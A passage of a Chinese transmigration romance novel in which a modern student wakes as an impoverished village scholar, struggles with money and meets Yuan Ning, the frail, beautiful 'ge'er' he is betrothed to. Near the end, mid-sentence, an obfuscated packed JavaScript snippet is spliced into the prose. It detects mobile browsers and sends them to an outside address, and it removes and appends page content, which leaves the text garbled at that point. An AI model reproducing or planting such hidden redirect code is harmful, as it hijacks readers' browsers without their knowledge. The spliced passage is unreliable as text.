不管是什么放牛娃还是底层小村民、莫欺少年穷,通通不在话下!他有的是力气和手段,拿着最差的剧本过上最好的人生,网文看多了,他自己都学会了如何古法手搓热.武..器。 但这个哥儿又是什么品种的新人类? 根据这副身体里残留的记忆,似乎是可以生孩子的男人…… 那帮子搞四爱的女人有福了属于是。 但别让他一个直男来穿这种剧本啊! 方衍年揉着脑袋一阵头疼。 刚穿越到这副身体里面的时候,方衍年的记忆还有些混乱。 原身是一个乡下书生,家里有几分薄产,供着他上了乡塾,虽然原身着实不是什么读书天才,人别的小说里不是经常这么写么,三岁开蒙六岁科考,不到十岁就能考上秀才和举人。 而原身六岁开蒙,九岁下场,考了五年都没考上童生。家里为了供原身一点点被拖垮,在原身十五岁这年父亲去世,母亲因悲伤过度,没过多久也走了,本朝规定守孝三年不可科考,才硬生生拖到了现在。 得亏原身的父母有远见、看人准,早早就给原身定下了一门亲事,虽然是乡下务农人家,但那家人厚道老实。原身父母过世,家里的薄产被瓜分得只剩一亩三分地,原身又除了读书什么都不会,要不是仗着未来岳丈亲自帮他打理田地,每年田里种出来的作物分毫不取,还换了银钱来供原身继续读书,这副身体恐怕早就被那帮吃人不吐骨头的亲戚给逼死了。 原身也是知恩图报的人,还没成亲就被岳家这般帮扶,知晓今后恐怕还要仰仗岳家,索性在对方提出,因为元宝儿身体不好离不得家,问原身能不能入赘过去一起住,到时候也方便照拂原身继续科考,原身也就答应了下来。 元宝儿…… 即使知道这是古代的乡下,听到自己这个未来,呃……夫郎…… 方衍年真的很想死,他堂堂一个为了考九八五连恋爱都没谈过的男大学生,直男!一朝回到解放前还得重新参加科举就算了,竟然还要娶个男人! 就算是能生孩子的男人,那也是男人啊! 倒不是他封建,因为外貌因素,他们班女生经常拿他嗑CP他也从来没红过脸,反正成不了真嘛,大家开心就好,他偶尔还能配合着小姑娘们打闹卖一卖,这都无伤大雅。 但这是真要娶……还不是娶,是入赘给个男人,这玩意儿他是真受不了啊。 大玄朝虽然不至于像方衍年原本那个时代封建王朝的后期那样,和离之后会被戳脊梁骨,也不像前期那样以娶死了老公的寡妇为荣,处于比较中庸的社会环境。 虽然和离并不可耻,但二婚也不是多光彩的事情,毕竟谁家好人如果不是出了大问题过不下去,折腾那些子作甚?肯定是家风有问题,和离了反倒容易打一辈子光棍儿再难找得着,还有二婚之间都相互嫌弃的。 方衍年这厢还不知道能不能穿越回去呢,说不定就要在这个时代生活一辈子,怎么可能去娶一个面都没见过,没有半分感情基础的男人呢? 即使继承了原身的记忆,方衍年依旧不太适应哥儿这个性别,印象里那些个哥儿,外表看着就是真真正正的男人嘛! 顶多是长相柔和了些,不会生胡子,个头也没有男子高,但这是乡下,哥儿比女子有力气,是既当男又当女,不仅要学女红庖厨,还得下地插秧,甚至还要给男人生孩子,牛马都不带这么使唤的。 原身被即将入赘过去的哥儿一家供养着考上了童生,结果一高兴,就撅了过去,再醒来的时候,里子就换成来自二十一世纪的方衍年了。 这副身体原本的名字也叫方衍年,年十九,还未弱冠暂时没起字。 方衍年看了看自己那瘦得骨骼分明的手,浑身上下拎不起来二两肉,倒真和刻板印象里的穷酸书生十分符合,难怪考上了童生一个高兴就晕死过去,看样子是身体太虚猝死了。 方衍年默默给原身点了根蜡,虽然不知道原身听不听得到,但既然他占了这副身体,今后自然会好好活下去。 只是怎么个活法,那当然不可能继续读书考科举了。 方衍年的确是考上了九八五名校不错,但他是理科生,大学也是理工类,初中的时候虽然政史地成绩都不错,但那都多少年之前的事情了,四书五经也就读过三字经(五经里没有三字经),千字文都识不得。 即使继承了原身的记忆,但也并不太清晰,方衍年还试过书写记忆中的馆阁体,也不知道是不是里子换了个人的缘故,那字总是莫名其妙缺胳膊少腿儿的—— 方衍年简体字的肌肉记忆总和原身繁体字的肌肉记忆打架,写出来的东西可谓错字连篇。 别看其他的科举小说里面主角考个状元郎都是基操,科举还真不是小说里写的那般简单的。 光是这童生试,就不止考验四书五经,有的人恐怕连四书五经指的哪几本都不知道。 而且考科举要求专门的字体,有时候遇到一些比较轴的考官,还得迎合考官喜好作答,否则不论多有才华,都可能考不中。 若非如此艰难,原身又怎么可能考那么多年都没考上,中了之后直接给高兴死了…… 方衍年默默在心里头敲了两下木鱼,他还是这么爱讲地狱笑话,但这玩意儿在这个时代可不兴说,得罪了人那可是要命的。 他一个没有背景亲戚的孤家寡人,原身辛辛苦苦考来的童生,在许多人面前都不够看,别说童生,就连秀才也只是可以见官不跪,并非是官,这个时代主讲一个“家族企业”,玩笑话开罪了谁,保不准人家背后有多大的势力。 方衍年不继续考科举,今后当不了官,那就更是得罪不起人了,商户在这个时代的地位依旧不如读书人的。 他也就打算运用自己在后现代的记忆和学识,搞点小生意做做,虽然搞社会主义的时候唾弃古代人那封建糟粕的制度,但谁不喜欢衣来伸手饭来张口被人伺候? 等他有钱了,也要买个几进的大院子,雇一群奴仆来给他洗衣做饭!当然啦,他是社会主义接班人,工资也会给他们发得多多的,只把下人们当下属,他就是公司老板~ 方衍年躺在床上美美畅想了会儿,天色发亮便起了身,不太娴熟地生火热了点东西吃,少油少盐的餐食味道并不怎么样,比公办中学的食堂还要难吃。 偏偏方衍年没钱,他穷啊,是真的没有岳家扶持绝对揭不开锅的穷,穷得身上只有两串钱。 两串,不是两贯。 这里的货币单位和方衍年那个世界的古代是不一样的,一串钱是十个铜板,一吊钱是一百个铜板,一贯钱是一千个铜板,也是一两银子。 这个世界的一个铜板,相当于方衍年在现代社会两块钱的购买力,但因着物价不同,即使大玄朝还算和平安稳,不至于民不聊生,家家吃饱也是达不到的,从这儿一天只食两顿就能看出来。 因此这里的粮食差不多一贯钱一石,普通人一人一年差不多吃两石粮食,方衍年兜里的两串钱,还得省着吃、只吃粮食不吃肉和菜,勉强能吃四天。 若是买肉的话,二十文买不了两斤带骨头的肉,不带骨头的堪堪能称一斤。 好穷啊,真的好穷啊! 方衍年忍不住感慨,得亏有那未过门哥儿的岳家扶持,虽然身上银钱没多少,但米缸里有粮,不至于饿死。 原身能用这么点儿钱还考上了童生,真的很让方衍年佩服了。 他被穷字打得一跟头,甚至都有一点点动摇,这软饭,闻着好像有点香。 不行不行不行不行。 方衍年摇摇头,把脑袋里的想法给甩出去,随便填了下肚子之后,起身借着外头熹微的晨光抄起了书。 这书是原身的活计之一,即使有岳家扶持,他家的田产也不剩多少,拢共不到二亩良田,岳丈给他们家种地,一年能产五石左右的粮食。 这五石粮食留两石自己吃,剩下的卖了换钱,差不多有三两银子,可方衍年每年光是交束脩都要花去近一两,更别说买笔墨纸砚,人总得穿衣服吧?要吃菜吃肉吧?他干不得农活劈不动柴,总不能全让岳丈来给他干吧? 连喝个热水都要烧花钱买来的柴。 痛,太痛了。 方衍年忍着心痛模仿原身的笔迹将最后的几页书抄完,原身已经抄了一大半,左右是他现在唯一的赚钱门路,蚊子腿儿也是肉啊。 虽说身上只有两串钱,但去年秋收之后粮食换的钱,方衍年还有约摸二两没用的。 这原本是原身留着考上童生之后,去城里上学交束脩的钱,方衍年不打算继续科考,但也不打算乱用,这是他预备着当启动资金做些小买卖的。 方衍年抄完了书,带上原本和抄好的内容出了门。 抄书的书坊在县城,村子距离县城远,赶牛车都得一个多时辰,一个时辰俩小时,来回就要半天了。 牛车一趟三文钱,来回都够方衍年一天的饭钱了,左右想着这副身体虚弱,方衍年打算走路去城里顺带锻炼锻炼身体,不到一炷香的功夫之后,方衍年就后悔了。 在出门带个手机就能解决一切问题的时代,方衍年遗忘了一个非常严重的问题——他出门没带水。 即使脸皮厚去一旁小路尽头的村户家讨口水喝,人家也很少舍得拿出来烧开的水。 柴火不要钱的啊! 方衍年使了一文钱讨了杯热茶,反倒搞得淳朴的人家怪不好意思的,给他倒了一大碗热茶,又抓了把晒在院子里的南瓜子给他吃。 等在人家的院子里歇匀了气儿,方衍年也不逞强了,逞强只会让他多花一杯热汤的钱。 他狼狈地拦下一辆牛车,交了三文钱坐上去,这副身体是真虚,走两步都直喘气,拢共出门半个小时,汗都流下来了。 颠颠簸簸了足足两个小时,方衍年在县城门口被“卸”下来,感觉自己都快被颠褪色了。 好艰难的日子,他要回现代,他爱公交车,他吃不了这个苦啊啊啊! 然而方衍年也只是在心里头叫唤几句就算了,又不是他想穿回去就穿回去的。 身上没钱的方衍年厚着脸皮在人家街边茶摊的最边上借了张凳子坐了坐,没舍得吃口粗茶,县城里的物价贵,一碗淡出鸟来的叶梗子茶都要收两文钱。 全身家当还剩十六文的方衍年表示:脸皮厚点就厚点吧,总不能为了喝口水把自己饿死。 他缓过来气,起身带着身上抄好的书往县城走去,得亏这县城小,不到半个小时就走到了书坊,不然他怕是又得厚着脸皮找个冤种茶摊白嫖人家的小凳子cosplay咸鱼瘫个好半天。 书坊老板见他是熟面孔,随便翻看了几眼抄好的书,虽然最后几页的字写得不太一气呵成,但也算规整,便也没做为难,只是交代方衍年下次再拿这样的字出来,可就给不了这么多钱了。 “多谢老板体谅,先前受惊病倒了,但想着您这儿耽误不得,这是撑着身子也要给您交过来的,写成这样,着实是有些惭愧。” 方衍年嘴里说着惭愧,却一点儿不含糊把钱串好给揣进兜里,人穷的时候他什么都干得出来。 许是今儿个书坊里没什么人,老板听方衍年这个平日里闷不吭声儿的家伙竟说出几句好听的话来,也不吝和方衍年说几句。 不料一打听才知道,这小子竟然还考上了童生,真是人不可貌相。 那点体格子去府城考试都还能活着回来,还考上了,简直比话本子听着精彩。 闲侃几句之后,方衍年还是领了抄书专用的纸回去,左右他是熟练工了,也不收他的押金,他那小本生意还没策划好做什么呢,没点子进项心里头还真是不太安稳。 就算不考试,也可以练练字,不枉来古代走一遭了。 方衍年离开书店之后,日头已经高照,距离正午吃饭,还有一点时间。 他身体虚弱胃口小,打算买点早餐卖剩的包子凑合,结果素包子两文肉包子三文,贵得他想抓把土来啃。 县里头的钱就是好挣,俩肉包子都够他一天的饭钱了。不过他今天也挣了钱,抄好的书换了一百二十文,这还是原身的字写得好,才换得这么好的价格,要是方衍年现在的字,恐怕只能给一百文,若是没有熟客的面子,老板能把价格压到八十文,那可能吃多少个肉包子了。 只是方衍年眼睛大肚皮小,买了俩大肉包子,竟然一个下去就饱了,他将剩下的用油纸仔细包好拎在手里,距离抄书的纸远远的,免得沾上了油,浪费的多了还得从工钱里扣。 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唉,只能怪他长得太帅,可这也没办法,遗传嘛!父母都是颜控,不然也生不出来这么好看一个他,他遗传了双倍颜控,挑剔得连他妈都嫌他。 “你不可能再找到比妈妈长得还好看的女生啦,凑合凑合谈上试试嘛!” 嗯,他亲妈,不仅颜控还自恋。 也不知道自己穿越到了古代,爸妈那边找不到他,该多着急。 也有可能是在忙着二人世界根本没发现。 方衍年自嘲地笑笑,坐着牛车回到村子里时,天都已经擦黑了。 今日是不方便去退亲了,方衍年把肉包子热了当晚饭,放好借来的书和抄书的纸,将房间收拾打扫了一遍,趁着天黑之前跳了两遍标准的广播体操,累得气喘吁吁,烧了热水擦洗了遍身子,和衣睡下了。 天光还没亮,方衍年就醒了。 住农村里的生活比熬夜玩手机的作息还“阴间”,不,应该是阳间才对,他晚上八九点就睡了,八个小时精致睡眠之后醒来,天色都还没亮。 方衍年起身洗漱一番,随便用了点吃食填填肚子,就拎着昨日买回来的礼物往沅家走去。 方衍年计划得很好,眼下他考上了童生,已经足够把家里的田租出去,靠收租生活了。 肥水不流外人田,沅家帮了他这么多,他也不能不回报,这田他租给沅家父子,租子五五分成,很是拿得出手了。 毕竟这年头请佃农,大多都是四六分,佃农四成,更有些没良心的三七、二八分,遇上荒年佃农倒贴都不够的。 方衍年手头田地不多,但都是上好的良田,随便打理打理都能丰收,收成是薄田的近两倍,即使四六分成,在佃农那边都很抢手。 当然,这次去沅家的主要目的还是退亲。 方衍年已经想好了,此次亲事虽然退了,但以往的情分还在,他不仅会去书院给沅家的小哥儿找一门好亲事,还打算写一张欠条,今后赚了钱,加倍地把以前沅家扶持他的钱给换回去。 方衍年是个知恩图报的,绝对不会过河拆桥,若是今后弄出点名堂来,也会多多帮扶沅家,即使沅家之前扶持的并非现在的方衍年,但如果没有沅家扶持,原身早就死了,他也没有第二段人生可活。 至于救命之恩以身相许,还是算了吧,没有爱情的婚姻只会是座孤坟,那不恩将仇报么! 方衍年甚至做好了挨一顿打的准备,毕竟光是从名字来看,那小哥儿应该就很受一家人疼爱。 竟然叫元宝儿……啊,不对,人家姓沅,应该是沅宝儿,听着就很喜庆。 再加上沅家为了这个沅宝儿的亲事,甚至愿意白白给他这个未过门的夫婿耕地三年,不收分文,还时常倒贴,真是把这小哥儿捧在心尖尖上宠了,才会爱屋及乌这般扶持方衍年。 方衍年也不打算恩将仇报,要打便打,只要不把他打死,今后他也会用行动证明,自己是个知恩图报的。 下定了决心,方衍年走到了沅家的院子门前。家里有人,院门是开着的,沅家一家很是勤劳,院子打扫得干干净净,不过那茅草屋子,看上去比方衍年住的地方还破旧,也不知道下雨会不会漏。 等他身体养好了,就先帮沅家把房顶修一修吧。 正琢磨着报恩从哪一步开始呢,方衍年就看见一年过四十的妇人,妇人很瘦,肩背都有些佝偻,即便身上收拾得干净,多年操劳也让她看上去饱经风霜,怪是让人心酸的。 即使不是这家人的儿子,方衍年也是吃了好些年沅家的饭,异国他乡,竟生出来几分触动。 只是不待方衍年感动,妇人就惊喜地走过来,拉着他的胳膊就往里拽。 “昨儿个就听说你考上了的事,一家子都高兴得不得了,还说提些肉过去看你,怎的这就过来了,还带这么些礼!” 方衍年的教养不方便打断长辈说话,便跟提线木偶似的被拉着走,不等他开口,就又听妇人吆喝着道: “宝儿!瞧瞧是谁来了。” 即使是过了八字定了亲,终究还是没过完礼的,姜氏再是高兴激动,也只把方衍年拉到门口,简单瞧一眼,分享分享小哥儿病好之后的喜悦。 房间里开着窗户,还算是亮堂,方方正正的框子撒下清晨里干净柔和的白光,讨巧地落在那慵懒斜靠于床头的小哥儿身上,仿佛上天都对他喜爱垂怜。 纱帐笼上一层朦胧的光,让耀眼的光线变得柔和,也更加衬得那小哥儿皮肤白得如同胶片镜头下拍出的雪。细腻的皮肤笼着一层绒绒的光,低垂的眼睫被白光投下一片薄薄的阴影,柔软的红唇嘴角微微勾着,像是天生就这般弧度温和。 小哥儿在自家待着,也没好好把头发盘起来,半扎着黑长的发,垂落的发丝挂在脖颈间,更显得人清瘦白皙。 靠在床上看书的人闻言抬起眼眸,一双琥珀色的眸子水灵灵的闪烁着波光,美丽得像是画中走出的仙儿,那般含情脉脉地看向他。 方衍年倒吸一口冷气,脑袋霎时空白一片,嗖一下转身走到了院子里。 大脑因为充血滚烫发涨,咚咚回荡着心跳的声音,他整张脸到耳根子都烧得慌,只感受到心如擂鼓。 不好不好,这有点难办。 他好像,不直了。 5. 芝麻馅儿 饶是姜氏也被这一惊一乍的年轻人给吓了一跳,莫非因为宝儿生病,让人给嫌弃了不成? 她有些惊疑不定地走上前,看到这年轻的书生慌慌张张拍着胸口,一对儿耳朵红得跟煮熟了似的,登时就明白过来,脸上的笑止都止不住。 现在这年轻人,还蛮纯情的嘞! 她也不好下了这未来小婿的面子,拍拍小郎君的后背,指路道:“宝儿前些日子还说起过你,当是关心你的,要不你去那窗户边上同他说说话?” 背对着姜氏身形高瘦的年轻人胡乱点了点头,同手同脚地往窗边走,不知道还以为是逃难的。 姜氏心里美啊,眼见着婚事将近,也不打扰两个小年轻说说私房话,他们这乡下不比城里人讲究,两家说好合过八字,就能把人送过去,从此成为一家人。 家里有余粮的,也会简单摆几张桌席,请乡里乡亲吃个饭,可算得上有排场的。 也就是因为方家祖上出过秀才,方衍年他爹还考上过童生,家里才相对讲究些,不仅两家相看都是请官媒来往,写下婚书交换庚帖,孩子们成婚之前更是没见过面,只远远瞧过一眼。 沅家倒是不觉得讲究点有什么不好,尤其还是讲究在宝儿身上,他们自己都恨不得将最好的捧到宝儿面前,怎么会嫌弃礼数多呢? 何况宝儿比那方家小郎还小上几岁,若是早早让人骗了去,吃亏的还不是他们家宝儿? 有句古话说得好,日久见人心,若是那方家小郎定亲之后做出些荒唐事儿来,也能让沅家及时发觉,早早抽身,不至于坏了宝儿的名声。 如今两家打了几年的交道,宝儿也及笄了,方家小郎不仅克制守礼,考上了童生也没嫌弃他们是农户出身,拎着礼物就上门来了,真让他们觉得没看错人。 姜氏喜气洋洋地就走开了,还盘算起来晚上一定要做顿好的来招待这快过门的小婿,最好商量一下把婚事定下来。 只是姜氏也略微有些惆怅,家里老大娶妻的时候,还没和方家说亲,手里头多少有些银钱使,当时聘礼给得足,又宴请了村子里的人吃席,前前后后花了有五两银子。 聘礼给了大儿媳妇家三两二,算是顶格给的,吃席又花了小一两,再置办些家具,好不容易攒起来五两银子的家底,就这么花光。以至于老二去年及冠,都没存下几分银子来娶妻,现在都还单着。 老三只比老二小两岁,现在都还没个相看的人家,村里人低头不见抬头见的,都知道他家什么情况。 沅家舍得下聘,但兜里没钱啊!也就方家端看品格,不嫌弃他们家穷,愿意走动结亲。 后来方衍年的父母走了,方家也没个长辈操持,这看品格的好处就显现出来,方家小子都是他们家在帮扶,姜氏早就把方衍年看作半个儿子,自然也不会亏待人家。 可是上月宝儿落了水,看病吃药把家当都卖了不少,现在每天米缸都见底,甚至三天两头就要去背一篓柴回来烧,当真是半点银子都挤不出来了。 偏偏此前又和方家小郎说好,让人入赘到家里来,如今日子近了,即使人家小郎君能通融几分,彩礼缓着些时日给,但席面总不可能不办吧? 沅家疼爱宝儿,全村人都知道,到时候悄不声儿把礼成了,怕是不知道要遭多少笑话,谁是说他们家宝儿半个字,他们都是要心疼的。 姜氏的担忧并不夸张,甚至还保守了。 沅宁生得好看,即使因为身子弱不下田,不怎么着出门,在十里八乡也是闻名的美人。 亏得沅宁上头有三个哥哥,父亲是庄稼汉,个子又生得高,沉默寡言地提着锄头,光是远远看着都让人发怂。 后来沅家二娃上山拜了猎户,整日里鼓捣个什么弓啊刀的,十天半个月才下一回山,连老虎和熊瞎子都不怕,体力比庄稼人还好,谁敢调侃沅家的小哥儿,一箭把你射到树上挂着打。 更别说沅家老三还被乡医看上收去做了学徒,这年头乡里人是花钱看不起病,但有个头疼脑热的,人家就是不将患者拒之门外,也可以故意给你开高价药,这谁惹得起啊。 村里也有些游手好闲的二流子不信邪,硬是要去招惹,衣角都还没碰到,就被沅家几兄弟追着打出二里地,有沅家三娃看着下手,打又打不死,痛又痛得很,别说村里人,连当家长的都不敢劝,几兄弟气红了眼谁来打谁,里正出面都不好使。 这么颗全家放心尖尖上宠着的掌上明珠要嫁给谁,得多少双眼睛盯着,更热闹的是那儿婿还是方家的小子,竟答应了入赘进沅家,前段时间传得沸沸扬扬,原本还嘲笑呢,就听人方衍年考上了童生。 童生给你家哥儿做赘婿,连席都不吃,不仅要遭人看不起,村里那群碎嘴子能拿这事儿说一辈子。 姜氏烧着火,长长叹了口气,如今开春不久,秧苗都还在地里,粮食换不成钱。农忙时节过去,田地里也不缺人手。冬去春来,山里的柴剩得不多,那点儿野菜又能卖个几文钱?家里□□口人嚼用都不够的。 前两个月为了给宝儿看病,医馆里都欠着账。就连老二也指望不得,春天山里的野物都瘦,怀着肚子的动物也不好打,否则吃绝了户,往后山里没野物了更是直接断了自己的营生。 喜悦化作哀愁,姜氏在厨房唉声叹气了好会儿,还是将梁上挂着的半刀肉给取下来,如今宝儿能用饭了,之前亏损的身子还得补起来,家里每隔两日便会想办法弄顿肉吃。 这身体补起来了,倒是省了不少药钱,姜氏做饭也没那么心疼钱,吃肉可不比吃苦好得多么。 这半刀五花肉是昨儿个老大去帮忙按着杀猪换的,主人家也知道沅家的情况,什么猪血猪下水的分给了其他人,专门切了一小块儿五花给他们家老大拎走。 以往村里人可没这么大方,完全是看在沅家即将多一个童生儿婿的面子上,村里人大都不识字,学识最高的乡塾先生也就不过是个童生。 姜氏将猪皮上的毛刮干净,又用火燎了燎,烧到起泡的猪皮发出细碎的轻响,隐约泛着淡淡的肉香。 处理干净的五花肉放进清水里泡一小会儿,浸出血水,然后伴葱姜花椒和桂叶等香料用清水煮熟,边煮边撇去浮沫,乡下自家里养的猪骚味儿有些重,经这么一处理,顿时腥臊味儿就变成了肉香。 也是托三娃子和药铺打交道的福,家里这些香料竟不怎么缺,有些是老二山里采回来晒干的,有些是老三便宜收购的,价格不高,使着也不心疼。 等肉煮好捞起来,就切成手指粗细的条,宝儿吃不得太油腻的,这五花实在太肥,可以先把油煸出来熬一小碗猪油放着,不仅做出来的红烧肉肥而不腻,那小半碗猪油还能让家里下顿肉之前有点油水饱腹。 锅里残留的猪油放上几颗□□糖炒出糖色,红澄澄的很是喜人,姜氏正准备往锅里下肉,门口光线一暗,竟是大房家的闻着香味又过来了。 “哟,今儿个才中午呢,就做肉吃,不等承显他们回来吗?” 姜氏抿着嘴唇笑了笑,手上的活儿没听,锅中泛出的甜香勾得人肚子里馋虫直叫。 “方童生今日带了礼过来探望宝儿,便留他下来吃个饭,时下已经叫光娃子去喊他爷他们回来吃饭了,等中午一家人聚一聚。” 大房家的媳妇闻言没忍住又翻一个白眼,自从沅宝儿生病,她回回来,回回都是空着手回去,已经不大乐意往这边跑了。 说来也是稀奇,这二房家的一反往常每天吃得这么好,人都养得肉乎了一圈,却日日过得捉襟见肘,连柴火都只打那么一点子,除了几根野葱,什么都薅不到。 就像今日,那么一大锅子红烧肉,连汤汁都收得浓稠,炖耙了的肉油汪汪地在锅子里乱颤,看得人直咽口水。可今日沅家那入赘的童生来,他们家令阳这回也考上了童生,虽然童生不排名次,但今后总免不了会打交道,即使大房媳妇脸皮再厚,也不好意思在这种时候端人家的肉走。 得亏今天她来也不是因为这。 “那感情好,前日里张榜的时候,令阳就说看到了方童生的名字,还说有空一定要庆贺一番,瞧咱们家令阳考上了,也不忘着帮扶二房,得见咱们令阳多会想着亲戚。” 大房媳妇虽然总是来拿沅家二房的东西,但也靠着那一张嘴会说,上下嘴皮子一碰,总让人觉得她是真心待人,可但凡仔细一回味,就会发现,她也只是嘴上说得好听。 若是真要庆贺一番,早就提着礼登门拜访了,怎么会只是嘴上说着帮扶,实际上明知对方生着病,也没想着探望一二。 姜氏在这方面心思不重,老实巴交地和人祝贺几句,她都搓着手想要提点什么让大嫂带回去了,可是厨房里目光一扫,所有好东西都在锅里,实在是什么都拿不出,反倒让她窘迫又无力。 “嗐,我就是和你说一声,这不两家孩子今后还会继续读书,说不定到时候还要相互帮衬着。”大房家的看到姜氏目光转了两圈也没想到有什么能拿出手的,便歇了那起子心思,开口说起了自己此行来的真正目的。 “不过咱们令阳争气,年纪轻轻就考上了童生,乡塾的夫子也说他很是有前程,家里想着给令阳办一场,请乡亲们吃个饭,热闹热闹……” 她们这头聊天聊得火热,另一边的方衍年却在小哥儿的窗下来来回回走了几圈,不知道该如何开口。 沅宁身子骨弱,经不得风,所以屋子里的窗户开得偏高,夜里就算起风也刮不到床上。 他看着窗外的影子来来去去,却半天没吱声儿,试探地开了口:“年哥哥?” 窗户外的影子应声停下了,许是距离窗户有些远,落到房间里的影子只有肩膀之上。房间里的窗户虽然开得高,其实也只到沅宁站起来时的胸口,对方站那么远,是不想让他看到,还是不想见他? 沅宁有些拿不稳。 他低头瞧了瞧落在地上的影子,头发束得干净利落,身形薄削了些,显得脖颈间的喉结几分锋利。那英挺的鼻梁形状饱满,抿着嘴唇看上去有些薄,但下巴的弧度很好看,光是落进房间里来的影子,就能看出姣好的骨相,只要不是口歪眼斜的,定然不会长得太差。 沅宁自己都没意识到,心里头那不曾意识到的担心缓缓落了回去。 他身体不是很好,经不得车马奔波,很少去城里,偶尔年节到县城逛逛街,听那些书生吟诗作对,抬眼望过去,心头却大失所望。 一个个儿的不说长得多端正,简直是歪瓜裂枣,不堪入目。人高马大也就算了,至少还能有几分气势在里头,但本朝科考并不过分追求君子六艺,尤其他们小县城,买得起马儿的都不多,谈何生出来他大哥二哥身上那般腱子肉来。 要么是瘦得跟撑幌子的竹竿儿那样,要么就胖得堪比年猪,好不容易撞见个不胖不瘦的吧,又学人家女子敷粉,装得个什么粉面小生,神色作态却透着几分猥琐,可把沅宁膈应得做了几天噩梦。 儿时因为身子弱,没什么有趣的事情打发时间,三哥去乡塾偷学认字回来,很喜欢把他抱在膝盖上放着,用木棍在坝子里画字给他看,然后把院子里的泥搅得坑坑洼洼,被阿娘好一通训斥。 沅宁跟着学了几个字,后来哥哥们去县城里,总是会记得给他带一两书册话本子回来给他解闷儿。 但读书人有关的东西,都贵,沅宁看完之后,就让哥哥们拿去小巷子里转手卖掉,贴不了几文钱就又能买新的看。 除了几本沅宁特别喜爱的,那些书在家里放着也生不出钱来,不如去换成新的本子,还能多识几个字。 看的本子多了,沅宁也会生出几分幻想,那些个捻酸的文人,是不是真像话本子里描述的那般,玉石意象、文武兼备。 沅宁早就知道自己有个年长他三岁的未婚夫,但对方家教严格,说的个什么授受不亲,连面都不曾见过。也就沅宁撒娇硬是要他三哥偷偷带着他去瞧,才远远看过一眼。 当时没看太真切,何况是四五年前的事情了,方家小子都没长开,只不过因为方家家风确实不错,那芝麻大点儿的身影也能看出几分文人风骨,等沅宁年纪再长些之后,就更是有些期待了。 有年春节天气暖和,听说城里很是热闹,沅宁就闹着想去看看,结果就看见那些飞禽走兽,心里面那点子期待轰一下就垮掉了,回家之后还难过了好几日呢。 如今看着……好吧,刚才也没太看清楚,只瞧着身形有些瘦削,个子似乎也生得高,但因着那股子说不清的书生气撑着,倒也不会像根竹竿子,很是有几分书生清隽。 就是没看清脸有点儿可惜。 当下瞧着地上的影子,倒是勾得他心尖尖有点子痒,沅宁探着身子试着往窗外瞧,却只看见对方束得整洁利落的发带,还有半个挺拔的背影。 “听、听说你生病了,去城里买了几样东西来看看你。”那道背影说话的语气显得几分生硬,但声音却是清脆好听,嗯……硬要形容的话,还真有几分话本子里说的,如山间流水般清爽干净的嗓音。 沅宁实在好奇得紧,他身体恢复了许多,现在也是能下床走动了,不过因为躺了一个多月,身体没什么力气,光是走到窗边就站不稳了,只能将手臂撑在窗台上,托着脸颊,看上去有点乖巧的模样。 他看着那挺拔的背影,心里头倒是满意,眼睛不自觉弯起来:“分明说了来看我,却不愿意和我见面,是我哪里让你不满意了吗?” “当然不是!”窗边的人急急转过身,甚至为了表达自己的真诚,还往窗户这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126747|180090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边走了一步,但方衍年大概也没想到房间里的人已经来到了窗边。 日光撒下来,落到窗边人的身上,那完美的面容镀上一层干净明亮的光,洁白的皮肤比白瓷还细腻,像是一幅描绘春日景色的油画,直直撞进人的心里,比房间里那模糊的匆匆一面更加撼动他的心。 沅宁也猝不及防和来人打了个照面,方衍年身形清瘦,气质却文雅,因着没干过什么农活,身上透着股子书卷气,春风拂过这人的衣角时,还带过来淡淡的墨香,像是被人拥抱进怀中一样,呼吸间都是对方的气息。 那张脸打理得干净,瞧不见漏刮的胡茬,一双柳眉斜飞入鬓,精致分明的五官却生得大气,一点不像那些粉面书生般阴柔造作,却也不显得粗犷敷衍,很是像书里走出来的人,比沅宁所想象的还要更加好看几分。 视线对上,沅宁不由得心中一痒,慌乱地垂下视线,耳朵尖都在发烫,竟然有些不敢细瞧。 心脏扑通扑通跳得好快,快得他都能听见自己心跳的声音,几乎听不清对方说了什么。 “你、不是还生着病么,怎么还下地上来了。” “嗯……坐得有些久了,想起来透透气。”沅宁视线看向一旁,余光瞥见那被风吹得微动的衣摆,心也跟着摇摆起来。 方衍年亦是不敢看他,原本组织好的语言开口便全变了味,竟然想不起自己原本是来做什么的了。 他听见沅宁问他都带了些什么来,才笨手笨脚将手中提着的东西拿到窗台上,一样样介绍着,舌头却跟第一天和牙齿认识似的,好几次差点被咬。 沅宁其实没听清方衍年都说了些什么,那爽朗却带着温和的声音在耳边嗡嗡响,除了觉得好听之外,竟然跟听那唱曲儿似的,光听声音,听不见内容了。 等对方话落,他才支使房里的小侄儿,出门去把东西给拿进来。 方衍年正担心他的身体,要让他去坐下休息的时候,隔壁就传来的大伯娘矫揉造作的大嗓门儿。 沅宁眼底的笑意因此淡了下去。 想来也是时候了,以大房那边最是爱动嘴皮子的性格,堂哥考上童生这件事情,不得大肆宣扬一番,应该还会请一顿席。 “年哥哥。”沅宁伸出手,拉了拉窗外人的衣角,“我听着大伯娘过来了,你扶我过去一下好不好?” 阿娘为人老实,如果大房那边真要摆席,少不了要拉他们家的人过去帮忙。大房那一根葱都要过来占便宜的抠搜劲儿,到时候肯定会少请人手,让他阿娘和大嫂过去帮忙,一个人当三个人使不说,还会想方设法让人吃不上饭。 沅宁可不会让大房那边得逞,更何况若是他不去看着,照阿娘的性格,定是要主动说出提肉提菜过去的话,之前也不是没发生过,大房那边但凡要摆席都要过来找他们家,结果他们家又是出食材又是帮忙,了了连个肉菜都端不走,全给大房送其他宾客做人情了。 他有些着急,生怕自己去晚了,阿娘就被引导着说出什么话,没等方衍年回答,就又拉着人手臂晃了晃。 葱段般纤细柔软的手指落在手腕上,像是被家里养的猫用脑袋蹭了蹭,方衍年晕晕乎乎地就答应下来。 “我进屋扶你,你别乱动,仔细摔跤。” “嗯。”沅宁也不介意对方进自己的房间,左右要不了多少时日就会成婚,更何况他们这乡下间,也不存在闺房一说。 